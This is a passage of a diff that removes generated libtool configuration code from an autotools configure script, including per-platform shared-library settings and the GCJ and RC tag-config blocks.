- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- case $host_vendor in
- sni)
- shlibpath_overrides_runpath=no
- need_lib_prefix=no
- export_dynamic_flag_spec='${wl}-Blargedynsym'
- runpath_var=LD_RUN_PATH
- ;;
- siemens)
- need_lib_prefix=no
- ;;
- motorola)
- need_lib_prefix=no
- need_version=no
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib'
- ;;
- esac
- ;;
-
-sysv4*MP*)
- if test -d /usr/nec ;then
- version_type=linux
- library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}'
- soname_spec='$libname${shared_ext}.$major'
- shlibpath_var=LD_LIBRARY_PATH
- fi
- ;;
-
-sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*)
- version_type=freebsd-elf
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- if test "$with_gnu_ld" = yes; then
- sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib'
- shlibpath_overrides_runpath=no
- else
- sys_lib_search_path_spec='/usr/ccs/lib /usr/lib'
- shlibpath_overrides_runpath=yes
- case $host_os in
- sco3.2v5*)
- sys_lib_search_path_spec="$sys_lib_search_path_spec /lib"
- ;;
- esac
- fi
- sys_lib_dlsearch_path_spec='/usr/lib'
- ;;
-
-uts4*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-*)
- dynamic_linker=no
- ;;
-esac
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $dynamic_linker" >&5
-$as_echo "$dynamic_linker" >&6; }
-test "$dynamic_linker" = no && can_build_shared=no
-
-variables_saved_for_relink="PATH $shlibpath_var $runpath_var"
-if test "$GCC" = yes; then
- variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH"
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to hardcode library paths into programs" >&5
-$as_echo_n "checking how to hardcode library paths into programs... " >&6; }
-hardcode_action_GCJ=
-if test -n "$hardcode_libdir_flag_spec_GCJ" || \
- test -n "$runpath_var_GCJ" || \
- test "X$hardcode_automatic_GCJ" = "Xyes" ; then
-
- # We can hardcode non-existant directories.
- if test "$hardcode_direct_GCJ" != no &&
- # If the only mechanism to avoid hardcoding is shlibpath_var, we
- # have to relink, otherwise we might link with an installed library
- # when we should be linking with a yet-to-be-installed one
- ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, GCJ)" != no &&
- test "$hardcode_minus_L_GCJ" != no; then
- # Linking always hardcodes the temporary library directory.
- hardcode_action_GCJ=relink
- else
- # We can link without hardcoding, and we can hardcode nonexisting dirs.
- hardcode_action_GCJ=immediate
- fi
-else
- # We cannot hardcode anything, or else we can only hardcode existing
- # directories.
- hardcode_action_GCJ=unsupported
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $hardcode_action_GCJ" >&5
-$as_echo "$hardcode_action_GCJ" >&6; }
-
-if test "$hardcode_action_GCJ" = relink; then
- # Fast installation is not supported
- enable_fast_install=no
-elif test "$shlibpath_overrides_runpath" = yes ||
- test "$enable_shared" = no; then
- # Fast installation is not necessary
- enable_fast_install=needless
-fi
-
-
-# The else clause should only fire when bootstrapping the
-# libtool distribution, otherwise you forgot to ship ltmain.sh
-# with your package, and you will get complaints that there are
-# no rules to generate ltmain.sh.
-if test -f "$ltmain"; then
- # See if we are running on zsh, and set the options which allow our commands through
- # without removal of \ escapes.
- if test -n "${ZSH_VERSION+set}" ; then
- setopt NO_GLOB_SUBST
- fi
- # Now quote all the things that may contain metacharacters while being
- # careful not to overquote the AC_SUBSTed values. We take copies of the
- # variables and quote the copies for generation of the libtool script.
- for var in echo old_CC old_CFLAGS AR AR_FLAGS EGREP RANLIB LN_S LTCC LTCFLAGS NM \
- SED SHELL STRIP \
- libname_spec library_names_spec soname_spec extract_expsyms_cmds \
- old_striplib striplib file_magic_cmd finish_cmds finish_eval \
- deplibs_check_method reload_flag reload_cmds need_locks \
- lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- sys_lib_search_path_spec sys_lib_dlsearch_path_spec \
- old_postinstall_cmds old_postuninstall_cmds \
- compiler_GCJ \
- CC_GCJ \
- LD_GCJ \
- lt_prog_compiler_wl_GCJ \
- lt_prog_compiler_pic_GCJ \
- lt_prog_compiler_static_GCJ \
- lt_prog_compiler_no_builtin_flag_GCJ \
- export_dynamic_flag_spec_GCJ \
- thread_safe_flag_spec_GCJ \
- whole_archive_flag_spec_GCJ \
- enable_shared_with_static_runtimes_GCJ \
- old_archive_cmds_GCJ \
- old_archive_from_new_cmds_GCJ \
- predep_objects_GCJ \
- postdep_objects_GCJ \
- predeps_GCJ \
- postdeps_GCJ \
- compiler_lib_search_path_GCJ \
- archive_cmds_GCJ \
- archive_expsym_cmds_GCJ \
- postinstall_cmds_GCJ \
- postuninstall_cmds_GCJ \
- old_archive_from_expsyms_cmds_GCJ \
- allow_undefined_flag_GCJ \
- no_undefined_flag_GCJ \
- export_symbols_cmds_GCJ \
- hardcode_libdir_flag_spec_GCJ \
- hardcode_libdir_flag_spec_ld_GCJ \
- hardcode_libdir_separator_GCJ \
- hardcode_automatic_GCJ \
- module_cmds_GCJ \
- module_expsym_cmds_GCJ \
- lt_cv_prog_compiler_c_o_GCJ \
- exclude_expsyms_GCJ \
- include_expsyms_GCJ; do
-
- case $var in
- old_archive_cmds_GCJ | \
- old_archive_from_new_cmds_GCJ | \
- archive_cmds_GCJ | \
- archive_expsym_cmds_GCJ | \
- module_cmds_GCJ | \
- module_expsym_cmds_GCJ | \
- old_archive_from_expsyms_cmds_GCJ | \
- export_symbols_cmds_GCJ | \
- extract_expsyms_cmds | reload_cmds | finish_cmds | \
- postinstall_cmds | postuninstall_cmds | \
- old_postinstall_cmds | old_postuninstall_cmds | \
- sys_lib_search_path_spec | sys_lib_dlsearch_path_spec)
- # Double-quote double-evaled strings.
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\\\""
- ;;
- *)
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quote_subst\"\`\\\""
- ;;
- esac
- done
-
- case $lt_echo in
- *'\$0 --fallback-echo"')
- lt_echo=`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-echo"$/$0 --fallback-echo"/'`
- ;;
- esac
-
-cfgfile="$ofile"
-
- cat <<__EOF__ >> "$cfgfile"
-# ### BEGIN LIBTOOL TAG CONFIG: $tagname
-
-# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`:
-
-# Shell to use when invoking shell scripts.
-SHELL=$lt_SHELL
-
-# Whether or not to build shared libraries.
-build_libtool_libs=$enable_shared
-
-# Whether or not to build static libraries.
-build_old_libs=$enable_static
-
-# Whether or not to add -lc for building shared libraries.
-build_libtool_need_lc=$archive_cmds_need_lc_GCJ
-
-# Whether or not to disallow shared libs when runtime libs are static
-allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes_GCJ
-
-# Whether or not to optimize for fast installation.
-fast_install=$enable_fast_install
-
-# The host system.
-host_alias=$host_alias
-host=$host
-host_os=$host_os
-
-# The build system.
-build_alias=$build_alias
-build=$build
-build_os=$build_os
-
-# An echo program that does not interpret backslashes.
-echo=$lt_echo
-
-# The archiver.
-AR=$lt_AR
-AR_FLAGS=$lt_AR_FLAGS
-
-# A C compiler.
-LTCC=$lt_LTCC
-
-# LTCC compiler flags.
-LTCFLAGS=$lt_LTCFLAGS
-
-# A language-specific compiler.
-CC=$lt_compiler_GCJ
-
-# Is the compiler the GNU C compiler?
-with_gcc=$GCC_GCJ
-
-# An ERE matcher.
-EGREP=$lt_EGREP
-
-# The linker used to build libraries.
-LD=$lt_LD_GCJ
-
-# Whether we need hard or soft links.
-LN_S=$lt_LN_S
-
-# A BSD-compatible nm program.
-NM=$lt_NM
-
-# A symbol stripping program
-STRIP=$lt_STRIP
-
-# Used to examine libraries when file_magic_cmd begins "file"
-MAGIC_CMD=$MAGIC_CMD
-
-# Used on cygwin: DLL creation program.
-DLLTOOL="$DLLTOOL"
-
-# Used on cygwin: object dumper.
-OBJDUMP="$OBJDUMP"
-
-# Used on cygwin: assembler.
-AS="$AS"
-
-# The name of the directory that contains temporary libtool files.
-objdir=$objdir
-
-# How to create reloadable object files.
-reload_flag=$lt_reload_flag
-reload_cmds=$lt_reload_cmds
-
-# How to pass a linker flag through the compiler.
-wl=$lt_lt_prog_compiler_wl_GCJ
-
-# Object file suffix (normally "o").
-objext="$ac_objext"
-
-# Old archive suffix (normally "a").
-libext="$libext"
-
-# Shared library suffix (normally ".so").
-shrext_cmds='$shrext_cmds'
-
-# Executable file suffix (normally "").
-exeext="$exeext"
-
-# Additional compiler flags for building library objects.
-pic_flag=$lt_lt_prog_compiler_pic_GCJ
-pic_mode=$pic_mode
-
-# What is the maximum length of a command?
-max_cmd_len=$lt_cv_sys_max_cmd_len
-
-# Does compiler simultaneously support -c and -o options?
-compiler_c_o=$lt_lt_cv_prog_compiler_c_o_GCJ
-
-# Must we lock files when doing compilation?
-need_locks=$lt_need_locks
-
-# Do we need the lib prefix for modules?
-need_lib_prefix=$need_lib_prefix
-
-# Do we need a version for libraries?
-need_version=$need_version
-
-# Whether dlopen is supported.
-dlopen_support=$enable_dlopen
-
-# Whether dlopen of programs is supported.
-dlopen_self=$enable_dlopen_self
-
-# Whether dlopen of statically linked programs is supported.
-dlopen_self_static=$enable_dlopen_self_static
-
-# Compiler flag to prevent dynamic linking.
-link_static_flag=$lt_lt_prog_compiler_static_GCJ
-
-# Compiler flag to turn off builtin functions.
-no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag_GCJ
-
-# Compiler flag to allow reflexive dlopens.
-export_dynamic_flag_spec=$lt_export_dynamic_flag_spec_GCJ
-
-# Compiler flag to generate shared objects directly from archives.
-whole_archive_flag_spec=$lt_whole_archive_flag_spec_GCJ
-
-# Compiler flag to generate thread-safe objects.
-thread_safe_flag_spec=$lt_thread_safe_flag_spec_GCJ
-
-# Library versioning type.
-version_type=$version_type
-
-# Format of library name prefix.
-libname_spec=$lt_libname_spec
-
-# List of archive names. First name is the real one, the rest are links.
-# The last name is the one that the linker finds with -lNAME.
-library_names_spec=$lt_library_names_spec
-
-# The coded name of the library, if different from the real name.
-soname_spec=$lt_soname_spec
-
-# Commands used to build and install an old-style archive.
-RANLIB=$lt_RANLIB
-old_archive_cmds=$lt_old_archive_cmds_GCJ
-old_postinstall_cmds=$lt_old_postinstall_cmds
-old_postuninstall_cmds=$lt_old_postuninstall_cmds
-
-# Create an old-style archive from a shared archive.
-old_archive_from_new_cmds=$lt_old_archive_from_new_cmds_GCJ
-
-# Create a temporary old-style archive to link instead of a shared archive.
-old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds_GCJ
-
-# Commands used to build and install a shared archive.
-archive_cmds=$lt_archive_cmds_GCJ
-archive_expsym_cmds=$lt_archive_expsym_cmds_GCJ
-postinstall_cmds=$lt_postinstall_cmds
-postuninstall_cmds=$lt_postuninstall_cmds
-
-# Commands used to build a loadable module (assumed same as above if empty)
-module_cmds=$lt_module_cmds_GCJ
-module_expsym_cmds=$lt_module_expsym_cmds_GCJ
-
-# Commands to strip libraries.
-old_striplib=$lt_old_striplib
-striplib=$lt_striplib
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predep_objects=$lt_predep_objects_GCJ
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdep_objects=$lt_postdep_objects_GCJ
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predeps=$lt_predeps_GCJ
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdeps=$lt_postdeps_GCJ
-
-# The library search path used internally by the compiler when linking
-# a shared library.
-compiler_lib_search_path=$lt_compiler_lib_search_path_GCJ
-
-# Method to check whether dependent libraries are shared objects.
-deplibs_check_method=$lt_deplibs_check_method
-
-# Command to use when deplibs_check_method == file_magic.
-file_magic_cmd=$lt_file_magic_cmd
-
-# Flag that allows shared libraries with undefined symbols to be built.
-allow_undefined_flag=$lt_allow_undefined_flag_GCJ
-
-# Flag that forces no undefined symbols.
-no_undefined_flag=$lt_no_undefined_flag_GCJ
-
-# Commands used to finish a libtool library installation in a directory.
-finish_cmds=$lt_finish_cmds
-
-# Same as above, but a single script fragment to be evaled but not shown.
-finish_eval=$lt_finish_eval
-
-# Take the output of nm and produce a listing of raw symbols and C names.
-global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe
-
-# Transform the output of nm in a proper C declaration
-global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl
-
-# Transform the output of nm in a C name address pair
-global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
-
-# This is the shared library runtime path variable.
-runpath_var=$runpath_var
-
-# This is the shared library path variable.
-shlibpath_var=$shlibpath_var
-
-# Is shlibpath searched before the hard-coded library search path?
-shlibpath_overrides_runpath=$shlibpath_overrides_runpath
-
-# How to hardcode a shared library path into an executable.
-hardcode_action=$hardcode_action_GCJ
-
-# Whether we should hardcode library paths into libraries.
-hardcode_into_libs=$hardcode_into_libs
-
-# Flag to hardcode \$libdir into a binary during linking.
-# This must work even if \$libdir does not exist.
-hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec_GCJ
-
-# If ld is used when linking, flag to hardcode \$libdir into
-# a binary during linking. This must work even if \$libdir does
-# not exist.
-hardcode_libdir_flag_spec_ld=$lt_hardcode_libdir_flag_spec_ld_GCJ
-
-# Whether we need a single -rpath flag with a separated argument.
-hardcode_libdir_separator=$lt_hardcode_libdir_separator_GCJ
-
-# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the
-# resulting binary.
-hardcode_direct=$hardcode_direct_GCJ
-
-# Set to yes if using the -LDIR flag during linking hardcodes DIR into the
-# resulting binary.
-hardcode_minus_L=$hardcode_minus_L_GCJ
-
-# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into
-# the resulting binary.
-hardcode_shlibpath_var=$hardcode_shlibpath_var_GCJ
-
-# Set to yes if building a shared library automatically hardcodes DIR into the library
-# and all subsequent libraries and executables linked against it.
-hardcode_automatic=$hardcode_automatic_GCJ
-
-# Variables whose values should be saved in libtool wrapper scripts and
-# restored at relink time.
-variables_saved_for_relink="$variables_saved_for_relink"
-
-# Whether libtool must link a program against all its dependency libraries.
-link_all_deplibs=$link_all_deplibs_GCJ
-
-# Compile-time system search path for libraries
-sys_lib_search_path_spec=$lt_sys_lib_search_path_spec
-
-# Run-time system search path for libraries
-sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec
-
-# Fix the shell variable \$srcfile for the compiler.
-fix_srcfile_path="$fix_srcfile_path_GCJ"
-
-# Set to yes if exported symbols are required.
-always_export_symbols=$always_export_symbols_GCJ
-
-# The commands to list exported symbols.
-export_symbols_cmds=$lt_export_symbols_cmds_GCJ
-
-# The commands to extract the exported symbol list from a shared archive.
-extract_expsyms_cmds=$lt_extract_expsyms_cmds
-
-# Symbols that should not be listed in the preloaded symbols.
-exclude_expsyms=$lt_exclude_expsyms_GCJ
-
-# Symbols that must always be exported.
-include_expsyms=$lt_include_expsyms_GCJ
-
-# ### END LIBTOOL TAG CONFIG: $tagname
-
-__EOF__
-
-
-else
- # If there is no Makefile yet, we rely on a make rule to execute
- # `config.status --recheck' to rerun these tests and create the
- # libtool script then.
- ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'`
- if test -f "$ltmain_in"; then
- test -f Makefile && make "$ltmain"
- fi
-fi
-
-
-ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-CC="$lt_save_CC"
-
- else
- tagname=""
- fi
- ;;
-
- RC)
-
-
-# Source file extension for RC test sources.
-ac_ext=rc
-
-# Object file extension for compiled RC test sources.
-objext=o
-objext_RC=$objext
-
-# Code to be used in simple compile tests
-lt_simple_compile_test_code='sample MENU { MENUITEM "&Soup", 100, CHECKED }\n'
-
-# Code to be used in simple link tests
-lt_simple_link_test_code="$lt_simple_compile_test_code"
-
-# ltmain only uses $CC for tagged configurations so make sure $CC is set.
-
-# If no C compiler was specified, use CC.
-LTCC=${LTCC-"$CC"}
-
-# If no C compiler flags were specified, use CFLAGS.
-LTCFLAGS=${LTCFLAGS-"$CFLAGS"}
-
-# Allow CC to be a program name with arguments.
-compiler=$CC
-
-
-# save warnings/boilerplate of simple test code
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_compile_test_code" >conftest.$ac_ext
-eval "$ac_compile" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_compiler_boilerplate=`cat conftest.err`
-$rm conftest*
-
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_link_test_code" >conftest.$ac_ext
-eval "$ac_link" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_linker_boilerplate=`cat conftest.err`
-$rm conftest*
-
-
-# Allow CC to be a program name with arguments.
-lt_save_CC="$CC"
-CC=${RC-"windres"}
-compiler=$CC
-compiler_RC=$CC
-for cc_temp in $compiler""; do
- case $cc_temp in
- compile | *[\\/]compile | ccache | *[\\/]ccache ) ;;
- distcc | *[\\/]distcc | purify | *[\\/]purify ) ;;
- \-*) ;;
- *) break;;
- esac
-done
-cc_basename=`$echo "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"`
-
-lt_cv_prog_compiler_c_o_RC=yes
-
-# The else clause should only fire when bootstrapping the
-# libtool distribution, otherwise you forgot to ship ltmain.sh
-# with your package, and you will get complaints that there are
-# no rules to generate ltmain.sh.
-if test -f "$ltmain"; then
- # See if we are running on zsh, and set the options which allow our commands through
- # without removal of \ escapes.
- if test -n "${ZSH_VERSION+set}" ; then
- setopt NO_GLOB_SUBST
- fi
- # Now quote all the things that may contain metacharacters while being
- # careful not to overquote the AC_SUBSTed values. We take copies of the
- # variables and quote the copies for generation of the libtool script.
- for var in echo old_CC old_CFLAGS AR AR_FLAGS EGREP RANLIB LN_S LTCC LTCFLAGS NM \
- SED SHELL STRIP \
- libname_spec library_names_spec soname_spec extract_expsyms_cmds \
- old_striplib striplib file_magic_cmd finish_cmds finish_eval \
- deplibs_check_method reload_flag reload_cmds need_locks \
- lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- sys_lib_search_path_spec sys_lib_dlsearch_path_spec \
- old_postinstall_cmds old_postuninstall_cmds \
- compiler_RC \
- CC_RC \
- LD_RC \
- lt_prog_compiler_wl_RC \
- lt_prog_compiler_pic_RC \
- lt_prog_compiler_static_RC \
- lt_prog_compiler_no_builtin_flag_RC \
- export_dynamic_flag_spec_RC \
- thread_safe_flag_spec_RC \
- whole_archive_flag_spec_RC \
- enable_shared_with_static_runtimes_RC \
- old_archive_cmds_RC \
- old_archive_from_new_cmds_RC \
- predep_objects_RC \
- postdep_objects_RC \
- predeps_RC \
- postdeps_RC \
- compiler_lib_search_path_RC \
- archive_cmds_RC \
- archive_expsym_cmds_RC \
- postinstall_cmds_RC \
- postuninstall_cmds_RC \
- old_archive_from_expsyms_cmds_RC \
- allow_undefined_flag_RC \
- no_undefined_flag_RC \
- export_symbols_cmds_RC \
- hardcode_libdir_flag_spec_RC \
- hardcode_libdir_flag_spec_ld_RC \
- hardcode_libdir_separator_RC \
- hardcode_automatic_RC \
- module_cmds_RC \
- module_expsym_cmds_RC \
- lt_cv_prog_compiler_c_o_RC \
- exclude_expsyms_RC \
- include_expsyms_RC; do
-
- case $var in
- old_archive_cmds_RC | \
- old_archive_from_new_cmds_RC | \
- archive_cmds_RC | \
- archive_expsym_cmds_RC | \
- module_cmds_RC | \
- module_expsym_cmds_RC | \
- old_archive_from_expsyms_cmds_RC | \
- export_symbols_cmds_RC | \
- extract_expsyms_cmds | reload_cmds | finish_cmds | \
- postinstall_cmds | postuninstall_cmds | \
- old_postinstall_cmds | old_postuninstall_cmds | \
- sys_lib_search_path_spec | sys_lib_dlsearch_path_spec)
- # Double-quote double-evaled strings.
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\\\""
- ;;
- *)
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quote_subst\"\`\\\""
- ;;
- esac
- done
-
- case $lt_echo in
- *'\$0 --fallback-echo"')
- lt_echo=`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-echo"$/$0 --fallback-echo"/'`
- ;;
- esac
-
-cfgfile="$ofile"
-
- cat <<__EOF__ >> "$cfgfile"
-# ### BEGIN LIBTOOL TAG CONFIG: $tagname
-
-# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`:
-
-# Shell to use when invoking shell scripts.
-SHELL=$lt_SHELL
-
-# Whether or not to build shared libraries.
-build_libtool_libs=$enable_shared
-
-# Whether or not to build static libraries.
-build_old_libs=$enable_static
-
-# Whether or not to add -lc for building shared libraries.
-build_libtool_need_lc=$archive_cmds_need_lc_RC
-
-# Whether or not to disallow shared libs when runtime libs are static
-allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes_RC
-
-# Whether or not to optimize for fast installation.
-fast_install=$enable_fast_install
-
-# The host system.
-host_alias=$host_alias
-host=$host
-host_os=$host_os
-
-# The build system.
-build_alias=$build_alias
-build=$build
-build_os=$build_os
-
-# An echo program that does not interpret backslashes.
-echo=$lt_echo
-
-# The archiver.
-AR=$lt_AR
-AR_FLAGS=$lt_AR_FLAGS
-
-# A C compiler.
-LTCC=$lt_LTCC
-
-# LTCC compiler flags.
-LTCFLAGS=$lt_LTCFLAGS
-
-# A language-specific compiler.
-CC=$lt_compiler_RC
-
-# Is the compiler the GNU C compiler?
-with_gcc=$GCC_RC
-
-# An ERE matcher.
-EGREP=$lt_EGREP
-
-# The linker used to build libraries.
-LD=$lt_LD_RC
-
-# Whether we need hard or soft links.
-LN_S=$lt_LN_S
-
-# A BSD-compatible nm program.
-NM=$lt_NM
-
-# A symbol stripping program
-STRIP=$lt_STRIP
-
-# Used to examine libraries when file_magic_cmd begins "file"
-MAGIC_CMD=$MAGIC_CMD
-
-# Used on cygwin: DLL creation program.
-DLLTOOL="$DLLTOOL"
-
-# Used on cygwin: object dumper.
-OBJDUMP="$OBJDUMP"
-
-# Used on cygwin: assembler.
-AS="$AS"
-
-# The name of the directory that contains temporary libtool files.
-objdir=$objdir
-
-# How to create reloadable object files.
-reload_flag=$lt_reload_flag
-reload_cmds=$lt_reload_cmds
-
-# How to pass a linker flag through the compiler.
-wl=$lt_lt_prog_compiler_wl_RC
-
-# Object file suffix (normally "o").
-objext="$ac_objext"
-
-# Old archive suffix (normally "a").
-libext="$libext"
-
-# Shared library suffix (normally ".so").
-shrext_cmds='$shrext_cmds'
-
-# Executable file suffix (normally "").
-exeext="$exeext"
-
-# Additional compiler flags for building library objects.
-pic_flag=$lt_lt_prog_compiler_pic_RC
-pic_mode=$pic_mode
-
-# What is the maximum length of a command?
-max_cmd_len=$lt_cv_sys_max_cmd_len
-
-# Does compiler simultaneously support -c and -o options?
-compiler_c_o=$lt_lt_cv_prog_compiler_c_o_RC
-
-# Must we lock files when doing compilation?
-need_locks=$lt_need_locks
-
-# Do we need the lib prefix for modules?
-need_lib_prefix=$need_lib_prefix
-
-# Do we need a version for libraries?
-need_version=$need_version
-
-# Whether dlopen is supported.
-dlopen_support=$enable_dlopen
-
-# Whether dlopen of programs is supported.
-dlopen_self=$enable_dlopen_self
-
-# Whether dlopen of statically linked programs is supported.
-dlopen_self_static=$enable_dlopen_self_static
-
-# Compiler flag to prevent dynamic linking.
-link_static_flag=$lt_lt_prog_compiler_static_RC
-
-# Compiler flag to turn off builtin functions.
-no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag_RC
-
-# Compiler flag to allow reflexive dlopens.
-export_dynamic_flag_spec=$lt_export_dynamic_flag_spec_RC
-
-# Compiler flag to generate shared objects directly from archives.
-whole_archive_flag_spec=$lt_whole_archive_flag_spec_RC
-
-# Compiler flag to generate thread-safe objects.
-thread_safe_flag_spec=$lt_thread_safe_flag_spec_RC
-
-# Library versioning type.
-version_type=$version_type
-
-# Format of library name prefix.
-libname_spec=$lt_libname_spec
-
-# List of archive names. First name is the real one, the rest are links.
-# The last name is the one that the linker finds with -lNAME.
-library_names_spec=$lt_library_names_spec
-
-# The coded name of the library, if different from the real name.
-soname_spec=$lt_soname_spec
-
-# Commands used to build and install an old-style archive.
-RANLIB=$lt_RANLIB
-old_archive_cmds=$lt_old_archive_cmds_RC
-old_postinstall_cmds=$lt_old_postinstall_cmds
-old_postuninstall_cmds=$lt_old_postuninstall_cmds
-
-# Create an old-style archive from a shared archive.
-old_archive_from_new_cmds=$lt_old_archive_from_new_cmds_RC
-
-# Create a temporary old-style archive to link instead of a shared archive.
-old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds_RC
-
-# Commands used to build and install a shared archive.
-archive_cmds=$lt_archive_cmds_RC
-archive_expsym_cmds=$lt_archive_expsym_cmds_RC
-postinstall_cmds=$lt_postinstall_cmds
-postuninstall_cmds=$lt_postuninstall_cmds
-
-# Commands used to build a loadable module (assumed same as above if empty)
-module_cmds=$lt_module_cmds_RC
-module_expsym_cmds=$lt_module_expsym_cmds_RC
-
-# Commands to strip libraries.
-old_striplib=$lt_old_striplib
-striplib=$lt_striplib
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predep_objects=$lt_predep_objects_RC
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdep_objects=$lt_postdep_objects_RC
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predeps=$lt_predeps_RC
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdeps=$lt_postdeps_RC
-
-# The library search path used internally by the compiler when linking
-# a shared library.
-compiler_lib_search_path=$lt_compiler_lib_search_path_RC
-
-# Method to check whether dependent libraries are shared objects.
-deplibs_check_method=$lt_deplibs_check_method
-
-# Command to use when deplibs_check_method == file_magic.
-file_magic_cmd=$lt_file_magic_cmd
-
-# Flag that allows shared libraries with undefined symbols to be built.
-allow_undefined_flag=$lt_allow_undefined_flag_RC
-
-# Flag that forces no undefined symbols.
-no_undefined_flag=$lt_no_undefined_flag_RC
-
-# Commands used to finish a libtool library installation in a directory.
-finish_cmds=$lt_finish_cmds
-
-# Same as above, but a single script fragment to be evaled but not shown.
-finish_eval=$lt_finish_eval
-
-# Take the output of nm and produce a listing of raw symbols and C names.
-global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe
-
-# Transform the output of nm in a proper C declaration
-global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl
-
-# Transform the output of nm in a C name address pair
-global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
-
-# This is the shared library runtime path variable.
-runpath_var=$runpath_var
-
-# This is the shared library path variable.
-shlibpath_var=$shlibpath_var
-
-# Is shlibpath searched before the hard-coded library search path?
-shlibpath_overrides_runpath=$shlibpath_overrides_runpath
-
-# How to hardcode a shared library path into an executable.
-hardcode_action=$hardcode_action_RC
-
-# Whether we should hardcode library paths into libraries.
-hardcode_into_libs=$hardcode_into_libs
-
-# Flag to hardcode \$libdir into a binary during linking.
-# This must work even if \$libdir does not exist.
-hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec_RC
-
-# If ld is used when linking, flag to hardcode \$libdir into
-# a binary during linking. This must work even if \$libdir does
-# not exist.
-hardcode_libdir_flag_spec_ld=$lt_hardcode_libdir_flag_spec_ld_RC
-
-# Whether we need a single -rpath flag with a separated argument.
-hardcode_libdir_separator=$lt_hardcode_libdir_separator_RC
-
-# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the
-# resulting binary.
-hardcode_direct=$hardcode_direct_RC
-
-# Set to yes if using the -LDIR flag during linking hardcodes DIR into the
-# resulting binary.
-hardcode_minus_L=$hardcode_minus_L_RC
-
-# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into
-# the resulting binary.
-hardcode_shlibpath_var=$hardcode_shlibpath_var_RC
-
-# Set to yes if building a shared library automatically hardcodes DIR into the library
-# and all subsequent libraries and executables linked against it.
-hardcode_automatic=$hardcode_automatic_RC
-
-# Variables whose values should be saved in libtool wrapper scripts and
-# restored at relink time.
-variables_saved_for_relink="$variables_saved_for_relink"
-
-# Whether libtool must link a program against all its dependency libraries.
-link_all_deplibs=$link_all_deplibs_RC
-
-# Compile-time system search path for libraries
-sys_lib_search_path_spec=$lt_sys_lib_search_path_spec
-
